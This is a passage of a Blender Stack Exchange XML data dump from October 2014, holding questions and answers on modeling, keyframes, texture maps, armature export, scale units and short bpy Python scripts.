  <row Id="18125" PostTypeId="1" CreationDate="2014-10-23T16:59:09.150" Score="4" ViewCount="3353" Body="&lt;p&gt;I can't seem to figure out how to create an animation of a zero twisting into an infinity symbol. I'm brand new to blender, and not really sure how to manipulate a torus to achieve this. Any help would be appreciated! &lt;/p&gt;&#xA;" OwnerUserId="7647" LastEditorUserId="12" LastEditDate="2014-10-24T12:58:23.413" LastActivityDate="2014-12-16T01:18:05.700" Title="How would I twist a torus or circle into an infinity symbol?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;workflow&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18126" PostTypeId="1" CreationDate="2014-10-23T17:18:21.173" Score="2" ViewCount="1737" Body="&lt;p&gt;I have the following problem: I have modeled a simple robot consisting of an armature with some bones and some CAD parts parented to the bones. During modelling, I applied several transforms to obtain the desired shapes. Now I just realized that all these transforms have only been applied to one specific keyframe somewhere in the timeline. For all other keyframes, all transforms are lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QxmCs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to delete the timeline except that one frame or to copy the keyframe to all other keyframes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7648" LastActivityDate="2014-10-24T00:01:44.327" Title="Apply transforms to all other keyframes" Tags="&lt;modeling&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18127" PostTypeId="2" ParentId="15353" CreationDate="2014-10-23T17:53:46.457" Score="6" Body="&lt;p&gt;This simple script will print to the console and move two Empties to the location of the active bone in pose mode (last selected).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;&#xA;armature = &quot;Armature&quot; # change this to the name of your armature &#xA;&#xA;tail = bpy.data.objects[armature].location + context.active_pose_bone.tail&#xA;head = bpy.data.objects[armature].location + context.active_pose_bone.head&#xA;&#xA;print(tail, head)&#xA;bpy.data.objects['Empty.head'].location = head&#xA;bpy.data.objects['Empty.tail'].location = tail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to have two empties in your scene and on a visible layer, named &lt;em&gt;Empty.tail&lt;/em&gt; and &lt;em&gt;Empty.head&lt;/em&gt; in order for lines 10 and 11 to work. If not comment out lines 10 and 11 with a &lt;code&gt;#&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lines 6 and 7 get the locations of the armature and the active bone's head and tail, then adds them together. &lt;code&gt;bpy.data.objects[armature]&lt;/code&gt; accesses an object with the name specified in the variable &lt;code&gt;armature&lt;/code&gt;. If your armature has a different name, change it in the variable defined on line 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 9 &lt;code&gt;print(tail, head)&lt;/code&gt; just spits the two vectors to the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lines 10 and 11 sets the location of the two named empties to the location of the head and tail of the bone. I found this way easier then copying numbers from the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you need to be in pose mode for this to work. Also the armature can got be rotated or scaled in object mode.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-10-23T20:00:47.560" LastActivityDate="2014-10-23T20:00:47.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18128" PostTypeId="1" CreationDate="2014-10-23T18:03:03.847" Score="1" ViewCount="460" Body="&lt;p&gt;I have only been using Blender for a few days, so please go easy on me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a face, and I have subdivision surface visible while I'm editing. I have only ever used quads, but strange lines are visible on the mesh when viewed in object mode, and they turn into pinches when I add more levels of subdivision surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I have to add another line running halfway or a quarter the way across the face, because I find that I don't have enough vertices to create only quads. When I do this, the line is visible in object mode as well, and changing to wire-frame shows that the subdivisions next to this new line turn inwards and cross at every vertex on the new line. This creates a line of thin triangle-like diamond shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can easily solve this by deleting the new line and creating it with extrusions instead, but this calls into question the point of using subdivide in the first place, and requires more tweaking afterwards. Could someone please explain why it does this, or tell me how to use subdivide without fighting these diamonds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It was something as simple as deleting the face before subdividing out the extra line, because Blender wouldn't separate a face into two even if there was a line running through it. Looks like &quot;Loop Cut And Slide&quot; does the face conversion automatically. Sorry for wasting your time, please delete my question.&lt;/p&gt;&#xA;" OwnerUserId="7649" LastEditorUserId="7649" LastEditDate="2014-10-25T14:17:10.030" LastActivityDate="2014-10-25T14:17:10.030" Title="Why does subdividing quads create diamonds in the wireframe?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-25T20:50:26.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="18129" PostTypeId="1" AcceptedAnswerId="18131" CreationDate="2014-10-23T18:16:02.603" Score="4" ViewCount="47171" Body="&lt;p&gt;How are various maps such as diffuse, AO, cavity, or displacement imported into Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw the Texture tab has import image, would you do this for all maps and connect them somehow? &lt;/p&gt;&#xA;" OwnerUserId="7524" LastEditorUserId="2217" LastEditDate="2014-10-23T18:51:15.760" LastActivityDate="2018-10-04T19:33:27.053" Title="How are texture maps imported into Blender?" Tags="&lt;texturing&gt;&lt;import&gt;&lt;image&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18130" PostTypeId="2" ParentId="18122" CreationDate="2014-10-23T18:33:46.850" Score="3" Body="&lt;p&gt;I don't know any way of doing this automatically, but you can do it manually.  I believe what you want to do is &lt;em&gt;export your UV layout&lt;/em&gt;.  You can do this in the UV editor under &lt;em&gt;UVs &gt; Export UV layout&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x6eBz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will export a .png file with transparency which you can then use as an overlay in a program like Photoshop or Gimp to manually cut up your existing UV atlas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHG9g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-10-23T18:33:46.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18131" PostTypeId="2" ParentId="18129" CreationDate="2014-10-23T18:46:25.807" Score="5" Body="&lt;p&gt;For the blender internal render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a material to your imported object (if it does not already have one).&#xA;Click on the texture tab in the properties window.  Then big &lt;em&gt;New Texture&lt;/em&gt; button. Set the type to a &lt;em&gt;Image texture&lt;/em&gt;. Open your diffuse map. Set the &lt;em&gt;Coordinates&lt;/em&gt; to be UV, under the &lt;em&gt;mapping&lt;/em&gt; section of the texture tab.&lt;br&gt;&#xA;Last set the influence of the texture, for a diffuse map it would be &lt;em&gt;color&lt;/em&gt;. For a normal map &lt;em&gt;normal&lt;/em&gt;, displacement would be &lt;em&gt;displace&lt;/em&gt;. Add a new texture for each type of image your are importing.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aLYIU.png&quot; alt=&quot;texture panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OMrCQ.png&quot; alt=&quot;settings in the texture panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-23T18:46:25.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18132" PostTypeId="1" CreationDate="2014-10-23T19:09:55.767" Score="1" ViewCount="10296" Body="&lt;p&gt;I am trying to export an armature and a pose library from my .blend file so that they can be loaded in to any .blend file. The ultimate goal being to start with an empty file, load the armature, load the pose library, load the mesh to parent to the armature and take it through the poses in the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="7651" LastActivityDate="2014-10-23T21:40:53.573" Title="How do I export my armature and pose library" Tags="&lt;armature&gt;&lt;blend-files&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18133" PostTypeId="2" ParentId="18124" CreationDate="2014-10-23T19:15:41.193" Score="3" Body="&lt;p&gt;Active text datablocks are referenced by TextEditor spaces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72b_release/bpy.types.SpaceTextEditor.html?highlight=spacetexteditor#bpy.types.SpaceTextEditor.text&quot; rel=&quot;nofollow&quot;&gt;bpy.types.SpaceTextEditor.text&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == 'TEXT_EDITOR':&#xA;        space = area.spaces.active&#xA;        print(repr(space.text))&#xA;&#xA;# Example output with one visible text editor:&#xA;# bpy.data.texts['ui_menu_simple.py']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-23T19:15:41.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18134" PostTypeId="2" ParentId="17960" CreationDate="2014-10-23T19:41:58.437" Score="4" Body="&lt;p&gt;It is basically a timing issue: your code below &lt;code&gt;revert_mainfile()&lt;/code&gt; is called before the scene is ready, it's simply too early.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;load_post&lt;/code&gt; handler alone doesn't help either, the argument passed to this callback is &lt;code&gt;None&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you register a persistent &lt;code&gt;load_post&lt;/code&gt; handler, which sets up a &lt;code&gt;scene_update_pre&lt;/code&gt; handler, the execution will be delayed until the scene is ready:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;def scene_update_callback(scene):&#xA;&#xA;    # self-removal, only run once&#xA;    bpy.app.handlers.scene_update_pre.remove(scene_update_callback)&#xA;&#xA;    ob = scene.objects.get(&quot;Cube&quot;)&#xA;&#xA;    if ob is not None:&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&#xA;        bpy.ops.object.select_all(action='DESELECT')&#xA;        ob.select = True&#xA;        bpy.ops.object.delete()&#xA;&#xA;&#xA;@persistent&#xA;def load_post_callback(dummy):&#xA;&#xA;    # self-removal, so it isn't called again&#xA;    bpy.app.handlers.load_post.remove(load_post_callback)&#xA;&#xA;    # use a scene update handler to delay execution of code&#xA;    bpy.app.handlers.scene_update_pre.append(scene_update_callback)&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    bpy.app.handlers.load_post.append(load_post_callback)&#xA;    bpy.ops.wm.revert_mainfile()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-23T19:41:58.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18135" PostTypeId="2" ParentId="18132" CreationDate="2014-10-23T20:13:52.937" Score="2" Body="&lt;p&gt;When you open a .blend to append or link (recommended method) you will see the internal file structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oVbJC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Menu: File append / link&lt;/li&gt;&#xA;&lt;li&gt;Select the poslib from the action folder&lt;/li&gt;&#xA;&lt;li&gt;Menu: File append / link&lt;/li&gt;&#xA;&lt;li&gt;Select the rig from the object folder (not armature)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After that you can select the poselib in the properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/weu4w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that pose libraries are just actions and can also be found and edited in &lt;em&gt;Action Editor Mode&lt;/em&gt; of the &lt;em&gt;Dopesheet&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you decide to use linked files, you might also be interested in the &lt;em&gt;Edit Linked Library&lt;/em&gt; addon which must be enabled in the &lt;em&gt;User Preferences&lt;/em&gt; and allows to switch quickly between your work- and library .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ep1Ds.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7461/how-to-copy-a-rig-to-another-mesh&quot;&gt;how to copy a rig to another mesh&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-10-23T21:12:08.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18136" PostTypeId="2" ParentId="15353" CreationDate="2014-10-23T20:27:27.427" Score="1" Body="&lt;p&gt;A non-python way to get the bone's head and tail, is to use snapping.&lt;br&gt;&#xA;Change the snapping type to &lt;em&gt;Vertex&lt;/em&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;. Turn snapping on with &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;, or leave it off and hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; to toggle it on during movements. Then just snap a empty to the bones. While in pose mode, just select the empty then snap it to the bone you want. Then to get the coordinates just look at the empty's location. It is at the top of the &lt;em&gt;Properties&lt;/em&gt; panel, press &lt;kbd&gt;N&lt;/kbd&gt; to show it.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-23T20:27:27.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18137" PostTypeId="2" ParentId="18126" CreationDate="2014-10-23T20:27:27.820" Score="1" Body="&lt;p&gt;In the screenshot you have multiple object selected. &#xA;You can select all keys in a frame when you select only the armature (Armature.001), then there will be a yellow dot in the &lt;em&gt;Dope Sheet Summary&lt;/em&gt; line.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Right click (&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;) to select this keyframe&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the destination frame (&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; (paste) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Or in one step:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select keyframe (&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate and move with &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2014-10-24T00:01:44.327" LastActivityDate="2014-10-24T00:01:44.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18138" PostTypeId="2" ParentId="18125" CreationDate="2014-10-23T20:44:42.560" Score="1" Body="&lt;p&gt;You could use &lt;em&gt;Shape Keys&lt;/em&gt; in &lt;em&gt;Object Mode&lt;/em&gt; add to shape keys in the mesh/Properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jECTt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to &lt;em&gt;Edit Mode&lt;/em&gt; &lt;kbd&gt;TAB&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the vertices at the top and bottom (yellow) switch on proportional editing &lt;kbd&gt;O&lt;/kbd&gt;, scale &lt;kbd&gt;S&lt;/kbd&gt;,(adjust the influence as indicated by the white circle with your mouse wheel) constrain to y-axis &lt;kbd&gt;Y&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mB9iJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-23T20:44:42.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18140" PostTypeId="2" ParentId="18115" CreationDate="2014-10-23T20:55:04.780" Score="1" Body="&lt;p&gt;No, there is no way to set the size of a text object in points.&lt;br&gt;&#xA;A point is just another unit of measure (&lt;a href=&quot;http://en.wikipedia.org/wiki/Point_%28typography%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia&lt;/a&gt;), so if you know the size point that your other programs and printer are using then you can set the size in blender. Typically a point is 1/72 of a inch or 0.3515mm. So for your 155pt you could set the size to be 54.4825mm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The quickest way to do so would be to first, &lt;a href=&quot;https://blender.stackexchange.com/a/14731/2217&quot;&gt;set the units to be Metric&lt;/a&gt;.&lt;br&gt;&#xA;Then in the Properties panel, &lt;kbd&gt;N&lt;/kbd&gt; to show it. Type in &lt;code&gt;54.4825mm&lt;/code&gt; to the Y axis. Copy the scale from the Y axis to the X and Z axes. The text is now sized at 155pt.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b1FSq.png&quot; alt=&quot;Properties panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-10-23T20:55:04.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18141" PostTypeId="2" ParentId="18132" CreationDate="2014-10-23T21:40:53.573" Score="3" Body="&lt;p&gt;I find it easiest to open two instances of Blender. One for the scene I am working on and &#xA;one that has the model/material/rig, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can copy from one running instance of Blender to another using the Copy and Paste keyboard shortcuts.  &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;c&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;v&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VFBCM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works well because you can select everything that you want from a scene all at once without having to dig through Blender's file navigation dialogue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you transfer an object that has rigging, the armature will go with it even if you did not select explicitly select the rigging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Materials and textures will transfer over as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this for Light and Camera setups and probably several things that still have to be thought up by someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW.  Even though OSX uses a slightly different key-combo for Copy and Paste, &lt;kbd&gt;Command&lt;/kbd&gt; instead of &lt;kbd&gt;Ctrl&lt;/kbd&gt;; both tend to work because Blender was programmed to recognize both.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-23T21:40:53.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18142" PostTypeId="1" AcceptedAnswerId="18145" CreationDate="2014-10-23T21:59:16.497" Score="5" ViewCount="722" Body="&lt;p&gt;I know the unit in Blender are arbitrary, e.g. you can have one unit represent 1cm, 1ft or 1 mile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know if there's an advised (community or otherwise) scale that I should work to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any issues that might occur from basing your scale too high or too low. e.g. 1 unit = 1mm or 1 unit = 1km?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2020-01-12T01:18:32.627" Title="What is a sensible scale to work with?" Tags="&lt;units&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18143" PostTypeId="1" CreationDate="2014-10-23T22:02:53.843" Score="1" ViewCount="42" Body="&lt;p&gt;I followed along with a tutorial to texture the earth in cycles. Everything worked well and looked nice until I changed the sample rate. The planes I used for lighting turned black and my renders are without lights. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add a normal light, no better results. Is there a setting that I could have enabled that could be the cause of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see a screenshot of the rendered view with the light emitting plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gBm29.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7655" LastEditorUserId="2217" LastEditDate="2014-10-23T22:07:04.180" LastActivityDate="2014-10-23T22:07:04.180" Title="Lights don't emit anymore" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-10-23T23:38:49.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="18144" PostTypeId="1" CreationDate="2014-10-23T22:14:21.203" Score="2" ViewCount="209" Body="&lt;p&gt;So here is the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 1 layer with lots of objects with alpha textures and another layer with 1 solid object, positioned to appear somewhere in the middle of those alpha-textured. I have animated my camera to fly through the alpha-textured objects and copied it to both layers. Then tried to composite it in all the ways I found but it doesn't work. I think, the problem is that my layer with alpha-textured objects is treated like a whole by a compositor and as a whole it does not have any alpha, because there are so many objects that together they are overlapping till no visible transparency left. Alphaover, z-combine and 2 z-combine(with 1 inverted) don't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to fly with camera and to see my shiny object through those alpha-textured objects. If I put it in the same layer it works perfectly but then I can't add effects to an object.&lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2014-10-23T22:14:21.203" Title="How to combine layers with lots of objects that have alpha textures?" Tags="&lt;render-layers&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18145" PostTypeId="2" ParentId="18142" CreationDate="2014-10-23T22:38:11.817" Score="3" Body="&lt;p&gt;By default one BU = one meter.  This is a pretty reasonable size to go by as a rough guideline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are modeling artistically you probably don't need to worry about units too much, but you should try to keep everything from ending up very small or very large, which &lt;a href=&quot;https://blender.stackexchange.com/q/1385/599&quot;&gt;could cause clipping issues&lt;/a&gt; in the viewport, making it difficult to work with. Though if this does happen, it's not hard to scale everything up/down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are working precisely with units, then you can always set them the way you want in &lt;em&gt;Properties &gt; Scene &gt; Units&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b3GzA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b3GzA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/40t2Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2020-01-12T01:18:32.627" LastActivityDate="2020-01-12T01:18:32.627" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18146" PostTypeId="2" ParentId="3417" CreationDate="2014-10-23T22:55:48.220" Score="3" Body="&lt;p&gt;Dynamic Paint isn't necessary for this to be done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gleb Alexandrov recently posted a video showing how to use a cloth simulation to achieve damage on an object which matches the shape of the object that is colliding with it as shown here in his video Blender Tutorial: 9 Ways to Destroy Things  &lt;a href=&quot;https://www.youtube.com/watch?v=wJFE2pb0Ri4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=wJFE2pb0Ri4&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fist step: add a cloth simulation to the object that you want to have a worn-down damaged look.  To have the object become squashed without bouncing around or flattening out, just set 'Bending' to 0.0   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lghdt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you add a collision simulation to the object that will be causing the damage.  I used default settings for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j4KM5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now use the Timeline to animate the damage-causing object to overlap with the cloth simulation object that is to receive the damage.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9YeGP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-10-23T22:55:48.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18149" PostTypeId="2" ParentId="18125" CreationDate="2014-10-23T23:56:02.377" Score="8" Body="&lt;p&gt;One way would be to do something similar to &lt;a href=&quot;https://blender.stackexchange.com/q/16467/599&quot;&gt;this&lt;/a&gt;, but with fewer twists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that  100&amp;deg; twist with the simple deform modifier gives a pretty good infinity symbol when seen from the top:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KWNOm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By animating the amount of twisting (you can hover over almost any UI element and press &lt;kbd&gt;I&lt;/kbd&gt; to insert a keyframe), you can get a result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/HonorableEnragedCopperbutterfly&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/HonorableEnragedCopperbutterfly.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/32338&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-10-24T21:05:11.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18150" PostTypeId="2" ParentId="18125" CreationDate="2014-10-24T00:54:55.783" Score="2" Body="&lt;p&gt;You could make a bone twist one half of the torus. Sadly, the mesh near the middle gets really thin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W8zGG.gif&quot; alt=&quot;Twising a zero into infinity in blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7659" LastActivityDate="2014-10-24T00:54:55.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18151" PostTypeId="1" AcceptedAnswerId="18152" CreationDate="2014-10-24T01:21:13.520" Score="3" ViewCount="1798" Body="&lt;p&gt;So I want to create this stretchy rope effect as seen in &lt;a href=&quot;https://www.youtube.com/watch?v=hYpxRJpJGsw&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use either soft body or cloth physics, so I can bounce objects off of them. And I also want it to be connected to two points that move around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theres a similar post &lt;a href=&quot;https://blender.stackexchange.com/questions/2487/rig-a-rope-spanning-two-objects&quot;&gt;here&lt;/a&gt;, but I can't get it to hook onto both objects. It will either hook onto one or the other, but not both.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-10-24T01:42:50.753" 